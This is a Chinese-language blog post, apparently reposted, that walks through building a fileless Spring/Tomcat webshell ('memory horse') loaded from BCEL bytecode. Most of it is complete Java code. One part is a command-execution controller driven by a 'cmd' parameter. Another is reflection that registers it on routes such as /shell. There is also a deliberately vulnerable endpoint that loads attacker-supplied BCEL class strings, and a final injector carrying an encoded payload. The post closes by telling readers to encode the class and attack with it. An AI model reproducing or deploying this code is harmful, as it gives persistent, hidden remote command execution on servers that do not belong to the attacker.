gpt4 book ai didi

利用BCEL字节码构造内存马

转载 作者:撒哈拉 更新时间:2024-04-08 08:45:30 63 4
gpt4 key购买 nike

前言

BCEL加载类有一个特点,只可以加载jdk原生的类,其它框架的类,都会报错ClassnotFound的错误。但是,BCEL的ClassLoader在8u252后被删除了 。

注入流程分析

获取context

一种比较通用的获取context的方式 。

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

从context中我们可以获取自动注册的Bean,接着就可以进一步的利用了 。

恶意Function

还是老样子的通用 。

 // 获取request和response对象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

        //exec
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                }else{
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                //当请求没有携带指定的参数(code)时,返回 404 错误
                response.sendError(404);
            }
        }catch (Exception e){}
    }

RequestMappingHandler

内存马最重要的部分,MappingHandler是我们添加恶意方法路由的地方。我们最终都是为了获取到它,然后将我们的恶意类绑定到指定的路由 。

 RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
        Method method2 = InjectToController.class.getMethod("test");
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        RequestMappingInfo info = RequestMappingInfo.paths("/boo")
                .options(config)
                .build();
        InjectToController springControllerMemShell = new InjectToController("aaa");
        mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);

以上就是内存马的核心部分 。

BCEL环境下内存马构造

BCEL环境下只可以加载jdk原生的东西,所以有关其他依赖比如spring的依赖。我们只可以通过反射去调用,也称为全反射 。

package com.example.bcelmemory.controller;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class BcelInjectToController {

    public void shell() throws Exception{
        ClassLoader springLoader = Thread.currentThread().getContextClassLoader();
        Method currentRequestAttributesMethod = springLoader.loadClass("org.springframework.web.context.request.RequestContextHolder").getMethod("currentRequestAttributes");
        Object RequestFace = currentRequestAttributesMethod.invoke(springLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"));
        Method getRequest = RequestFace.getClass().getDeclaredMethod("getRequest");
        Object request = getRequest.invoke(RequestFace);
        Method getResponse = RequestFace.getClass().getDeclaredMethod("getResponse");
        Object response = getResponse.invoke(RequestFace);
        Method getParameter = request.getClass().getDeclaredMethod("getParameter",String.class);
        Method getWriter = response.getClass().getDeclaredMethod("getWriter");
        Method sendError = response.getClass().getDeclaredMethod("sendError",int.class);
        //exec
        try {
            String cmd= (String) getParameter.invoke(request,"cmd");
            PrintWriter writer= (PrintWriter) getWriter.invoke(response);
            if (cmd != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
                }else{
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", cmd});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                //当请求没有携带指定的参数(code)时,返回 404 错误
                sendError.invoke(response,404);
            }
        }catch (Exception e){
            System.out.println("Error");
        }
    }
    private static Object getFV(Object o, String f) throws Exception {
        Field var2 = null;
        Class var3 = o.getClass();

        while (var3 != Object.class) {
            try {
                var2 = var3.getDeclaredField(f);
                break;
            } catch (NoSuchFieldException var5) {
                var3 = var3.getSuperclass();
            }
        }

        if (var2 == null) {
            throw new NoSuchFieldException(f);
        } else {
            var2.setAccessible(true);
            return var2.get(o);
        }
    }
    private static Object getMV(Object o, String m) throws Exception {
        Method var2 = null;
        Class var3 = o.getClass();

        while (var3 != Object.class) {
            try {
                var2 = var3.getDeclaredMethod(m);
                break;
            } catch (NoSuchMethodException var5) {
                var3 = var3.getSuperclass();
            }
        }

        if (var2 == null) {
            throw new NoSuchMethodException(m);
        } else {
            var2.setAccessible(true);
            return var2.invoke(o);
        }
    }
}

内存马部分

第一步先从当前线程获取ClassLoader,方便后面进行反射 这里获取到了WebappClassLoader,然后我们回顾正常注入内存马的第一步,就是获取currentRequestAttributesMethod方法,然后反射调用,再下一步就该获取request和response 但是这里获取的RequestFacade,RequestFacade是对Request的一个封装,所以获取到他我们也可以进行一系列的处理 之后就是获取输入输出的方法了,就不多讲了 。

注入部分

ClassLoader springClassload = Thread.currentThread().getContextClassLoader();
Field resourcesField = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getDeclaredField("resources");
resourcesField.setAccessible(true);
//获得standardcontext
Object standardcontext = resourcesField.get(Thread.currentThread().getContextClassLoader());
Field contextField = standardcontext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
//迭代获得TomcatEmbeddedContext
Object TomcatEmbeddedContext = contextField.get(standardcontext);
Field context2Field = TomcatEmbeddedContext.getClass().getSuperclass().getDeclaredField("context");
context2Field.setAccessible(true);
//获取到了ApplicationContext
Object ApplicationContext = context2Field.get(TomcatEmbeddedContext);
Field attributesField = ApplicationContext.getClass().getDeclaredField("attributes");
attributesField.setAccessible(true);
ConcurrentHashMap attributesMap = (ConcurrentHashMap) attributesField.get(ApplicationContext);
//这里springboot版本偏高,低版本有所不同。获取到AnnotationConfigServletWebServerApplication
Object springRoot = attributesMap.get("org.springframework.web.context.WebApplicationContext.ROOT");
Method getBean = springClassload.loadClass("org.springframework.context.support.AbstractApplicationContext").getDeclaredMethod("getBean", Class.class);
//最终获取到RequestMapping,结束。接下来注册路由
Object requestMappingHandlerMapping = getBean.invoke(springRoot, RequestMappingHandlerMapping.class);
Field configField = requestMappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
Object config = configField.get(requestMappingHandlerMapping);
Method paths = springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo").getDeclaredMethod("paths", String[].class);
Method options = springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo$DefaultBuilder").getDeclaredMethod("options", springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo$BuilderConfiguration"));
Method build = springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo$DefaultBuilder").getDeclaredMethod("build");
paths.setAccessible(true);
options.setAccessible(true);
build.setAccessible(true);
Object builder1 = paths.invoke(springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo"), (Object)new String[]{"/pop"});
Object builder2 = options.invoke(builder1, config);
Object requestMappingInfo = build.invoke(builder2);
BcelInjectToController springControllerMemShell = new BcelInjectToController();
Method shell = BcelInjectToController.class.getMethod("shell");
Method registerMapping = springClassload.loadClass("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping").getDeclaredMethod("registerMapping", springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo"), Object.class, Method.class);
registerMapping.setAccessible(true);
registerMapping.invoke(requestMappingHandlerMapping,requestMappingInfo,springControllerMemShell,shell);
System.out.println("inject successfully");

我们需要获取到上述说到的核心,也就是context上下文,这里通过一系列的迭代获取springboot上下文,再做接下来的处理。这一部分最重要的是获取到RequestMapping,因为spring的controller内存马都是依托这个的,这里也不多讲,因为都是Spring内存马的东西 。

完整的BCEL内存马注入

准备一个漏洞入口 。

package com.example.bcelmemory.controller;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
public class Evil {
    @RequestMapping("/b1")
    public void inject(String code) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
        new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
    }
}

先把恶意Function转换成BECL字节码 。

import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class BcelInjectToController {
    public void shell() throws Exception{
        ClassLoader springLoader = Thread.currentThread().getContextClassLoader();
        Method currentRequestAttributesMethod = springLoader.loadClass("org.springframework.web.context.request.RequestContextHolder").getMethod("currentRequestAttributes");
        Object RequestFace = currentRequestAttributesMethod.invoke(springLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"));
        Method getRequest = RequestFace.getClass().getDeclaredMethod("getRequest");
        Object request = getRequest.invoke(RequestFace);
        Method getResponse = RequestFace.getClass().getDeclaredMethod("getResponse");
        Object response = getResponse.invoke(RequestFace);
        Method getParameter = request.getClass().getDeclaredMethod("getParameter",String.class);
        Method getWriter = response.getClass().getDeclaredMethod("getWriter");
        Method sendError = response.getClass().getDeclaredMethod("sendError",int.class);
        //exec
        try {
            String cmd= (String) getParameter.invoke(request,"cmd");
            PrintWriter writer= (PrintWriter) getWriter.invoke(response);
            if (cmd != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
                }else{
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", cmd});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                //当请求没有携带指定的参数(code)时,返回 404 错误
                sendError.invoke(response,404);
            }
        }catch (Exception e){
            System.out.println("Error");
        }
    }
    private static Object getFV(Object o, String f) throws Exception {
        Field var2 = null;
        Class var3 = o.getClass();

        while (var3 != Object.class) {
            try {
                var2 = var3.getDeclaredField(f);
                break;
            } catch (NoSuchFieldException var5) {
                var3 = var3.getSuperclass();
            }
        }

        if (var2 == null) {
            throw new NoSuchFieldException(f);
        } else {
            var2.setAccessible(true);
            return var2.get(o);
        }
    }
    private static Object getMV(Object o, String m) throws Exception {
        Method var2 = null;
        Class var3 = o.getClass();

        while (var3 != Object.class) {
            try {
                var2 = var3.getDeclaredMethod(m);
                break;
            } catch (NoSuchMethodException var5) {
                var3 = var3.getSuperclass();
            }
        }

        if (var2 == null) {
            throw new NoSuchMethodException(m);
        } else {
            var2.setAccessible(true);
            return var2.invoke(o);
        }
    }
}

package org.example;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.IOException;


public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
        JavaClass javaClass = Repository.lookupClass(BcelInjectToController.class);
        String code = Utility.encode(javaClass.getBytes(), true);
        System.out.println(code);
        new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
    }
}

完整的内存马 。

import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.concurrent.ConcurrentHashMap;

public class BcelSpringMemShell {

    public BcelSpringMemShell(String aaa) {}

    public BcelSpringMemShell() throws Exception{
        ClassLoader springClassload = Thread.currentThread().getContextClassLoader();

        Field resourcesField = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getDeclaredField("resources");
        resourcesField.setAccessible(true);
        //获得standardcontext
        Object standardcontext = resourcesField.get(Thread.currentThread().getContextClassLoader());
        Field contextField = standardcontext.getClass().getDeclaredField("context");
        contextField.setAccessible(true);
        //迭代获得TomcatEmbeddedContext
        Object TomcatEmbeddedContext = contextField.get(standardcontext);
        Field context2Field = TomcatEmbeddedContext.getClass().getSuperclass().getDeclaredField("context");
        context2Field.setAccessible(true);
        //获取到了ApplicationContext
        Object ApplicationContext = context2Field.get(TomcatEmbeddedContext);
        Field attributesField = ApplicationContext.getClass().getDeclaredField("attributes");
        attributesField.setAccessible(true);
        ConcurrentHashMap attributesMap = (ConcurrentHashMap) attributesField.get(ApplicationContext);
        //这里springboot版本偏高,低版本有所不同。获取到AnnotationConfigServletWebServerApplication
        Object springRoot = attributesMap.get("org.springframework.web.context.WebApplicationContext.ROOT");
        Method getBean = springClassload.loadClass("org.springframework.context.support.AbstractApplicationContext").getDeclaredMethod("getBean", Class.class);
        //最终获取到RequestMapping,结束。接下来注册路由
        Object requestMappingHandlerMapping = getBean.invoke(springRoot, springClassload.loadClass("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"));
        Field configField = requestMappingHandlerMapping.getClass().getDeclaredField("config");
        configField.setAccessible(true);
        Object config = configField.get(requestMappingHandlerMapping);
        Method paths = springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo").getDeclaredMethod("paths", String[].class);
        Method options = springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo$DefaultBuilder").getDeclaredMethod("options", springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo$BuilderConfiguration"));
        Method build = springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo$DefaultBuilder").getDeclaredMethod("build");
        paths.setAccessible(true);
        options.setAccessible(true);
        build.setAccessible(true);
        Object builder1 = paths.invoke(springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo"), (Object)new String[]{"/shell"});
        Object builder2 = options.invoke(builder1, config);
        Object requestMappingInfo = build.invoke(builder2);
        Object bcelclassLoader = springClassload.loadClass("com.sun.org.apache.bcel.internal.util.ClassLoader").newInstance();
        Method loadClassmethod = bcelclassLoader.getClass().getMethod("loadClass", String.class);
        Class Memshell= (Class) loadClassmethod.invoke(bcelclassLoader,"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$95W$JtTW$Z$fen2$93$f7f$e6$r$q$TH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$80$D$a4y1$c0S$O$92V$82$5bE$N$fd$dd$cfX$i$V$5e$dcF$g$3f$3c$f1$P$dc$ce$99$8f$de$3f$8dC$9c$f9$f1R$9e$d3$P$f5y$3a$5e$a6$40W0$a4$m$aa$60x$ce$e8$fex$df$g$e1$I$3c$87$r$KF$9f$c3j$Fc$9d$a4$fc$T5$ff$c2$c2$ed$Kb$3e$i$a6N$P$ad$OS$ff$R$c4i$ab$ac$c1$x$7cz$f9$dc$q$fa$g$88$d6$fe$e6$a0$ef$7eT57f$b0$aeO$s$d6$c3$o$d8$d0$3f$f5$fc$b3M$8fC$3b$8f$f5$83$8dg$b1$f1$91$sV$d0$8b$9b$b8a$d3$D$d4X$ca$8cV$f1$c3$d3$cdw$xK$X$ccp$R6$d2$cfM$e4$b6$91$dfN$89$z$cc$f2Vfw$h$963$3b$ab$Y$cff$f6$82VVp$a7$f3Q$ee$r$df$8bq$qh$t$zb$ae$f6$3b$F$bf$J$a6S$f0Rc$92X$v$a2$de$b5$b0$90$e2$892R$V$f0$fc$h$8a$C$5ec$d3$fc$U$9f$f0i9$ce$ca$$$e1$x$a2$$P$8bl$$$933$be$3f$95$f5$bd$p$d7$f7$9a$e6$c6l$B$e7$f9$ff$8c$eb$fff$e9$7f$9b$e3$7f$7bSC$b6b$dd$YT$a3$86$9f$da$b91$e8$a1$a57$d2$d6$5er$fb$c9$dfE$89$B$o$fcf$a2z7$fd$bf$Fu$cc$f6Zz$b9$91$98$99$8e$c1R$t$G$c7$9c$Yt$cc$c4$a0$D$c7$b31$d8$c6$Y$ecub$b0$b9$40$M$88$86$f4n$F$_$9b$_$G$c7$9dn$f9r$a7$d9$be$e2$bf$v$y$i$86$P$R$A$A");
        Method shell = Memshell.getMethod("shell");
        Object InjectMemshell=Memshell.newInstance();
        Method registerMapping = springClassload.loadClass("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping").getDeclaredMethod("registerMapping", springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo"), Object.class, Method.class);
        registerMapping.setAccessible(true);
        registerMapping.invoke(requestMappingHandlerMapping,requestMappingInfo,InjectMemshell,shell);
        System.out.println("inject successfully");
    }
}

最后在将这个类转成BCEL字节码,打就行了 。

最后此篇关于利用BCEL字节码构造内存马的文章就讲到这里了,如果你想了解更多关于利用BCEL字节码构造内存马的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。

63 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com